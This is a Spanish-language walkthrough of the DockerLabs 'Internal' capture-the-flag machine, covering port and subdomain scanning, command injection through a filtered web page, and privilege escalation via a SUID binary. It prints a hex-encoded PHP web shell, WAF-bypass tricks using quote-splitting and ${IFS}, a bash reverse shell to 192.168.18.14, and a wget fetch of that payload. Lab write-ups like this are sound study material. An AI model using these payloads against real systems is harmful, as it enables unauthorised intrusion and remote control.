Post

Internal, DockerLabs

portada

Herramientas y recursos

En este reto de DockerLabs practicamos.

Tecnicas Herramientas
scan de puertos nmap
busqueda de directorios feroxbuster
Busqueda de subdomnios ffuz
waf bypass waf

Reconocimiento y enumeracion

Lo primero como siempre le tiramos un nmap con los parámetros de costumbre.

1
sudo nmap -p- -sS -sC -sV --min-rate=5000 -n -Pn -oX bola 172.17.0.3

reporte

Como vemos tenemos el 80 http, el 22 ssh, sin mas demora revisamos la web y nos fijamos que debemos añadir al vhost el dominio internal.dl , en la web nos se ve nada y tampoco hay nada con lo que interactuar asi que lanzo un feroxbuster el cual tampoco aporta nada , toca buscar subdominios.

Añadimos a /etc/hosts el dominio

hosts

Añadimos tambien los subdominios encontrados en este caso backup.

ffuf

1
ffuf -u http://internal.dl -H "Host: FUZZ.internal.dl" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt 

Vamos a investigar el subdominio y que podemos hacer.

Nos encontramos que podemos ejecutar comando no sin ciertas restricciones en operadores , comandos ,espacios y alguna otra cosa que me ha roto la cabeza un rato.

passwd

Ahora os dejo la captura de un descuido que tuvo el creador o lo dejo adrede para facilitarnos las cosas pero yo ni asi puede mandarme un revshell desde la web.(Desconozco si era un error del java de mi navegador al enviar un comando codeado en hex para bypasear el waf)**ls -lah /home py’‘thon3${IFS}-c${IFS}print(bytes.fromhex(‘3c3f7068702073797374656d28245f4745545b22636d64225d293b203f3e’).decode())>index2.php ✗ Network error: Cannot read properties of null (reading ‘replace’)** eso me daba error y creo no tiene que ver directamente con las restricciones.

index

Ahora vamos al lio con la intrusion y como la realice.

Intrusion y escalada

Como no conseguia ejecutar la revshell desde shell exec decidi subirla y ejecutarla desde la web. Asi que lo primero me creo el fichero y luego lo subo , ojo con el nombre que le dais tambien tendreis problemas.

1
2
#!/bin/bash
/bin/bash -i >& /dev/tcp/192.168.18.14/1188 0>&1

Levanto un server de python

1
python3 -m http.server 8888

Vuelvo a la web y ejecuto

1
wge''t http://192.168.18.14/test -O /tmp/test >/dev/null 2>&1

Cuando lo ejecutaba de manera normal con el -q el fichero quedaba vacio o metia los datos de wget por eso fuerzo la redireccion del log de esa forma.

subida

Solo queda ponerse a la escucha y ejecutar.

ejecucioon

Que lindo el circulo son fin …..:-)

recibida

Ya estamos dentro vamos a escalar

Con ls hayo cositas interesantes un vault_pass.txt que aparentan ser las contraseñas del user , asi que sin mas demora hago uso del script en local de malfer, no sin antes irme a tmp para tener permisos sin problemas.

opt

brute

Nos convertimos en vault con su

no hay sudo pero encontramos un programita interesante con el comando de abajo y corresponde a lo que habiamos visto en opt asi que vamos a ejecutarlo haber que hace

1
find / -user root -perm /4000 2>/dev/null

find

Simplemente ejecutando el programa nos convertimos en root.

root

Hasta aqui la maquinita, gracias por leer.

This post is licensed under CC BY 4.0 by the author.

Comments powered by Disqus.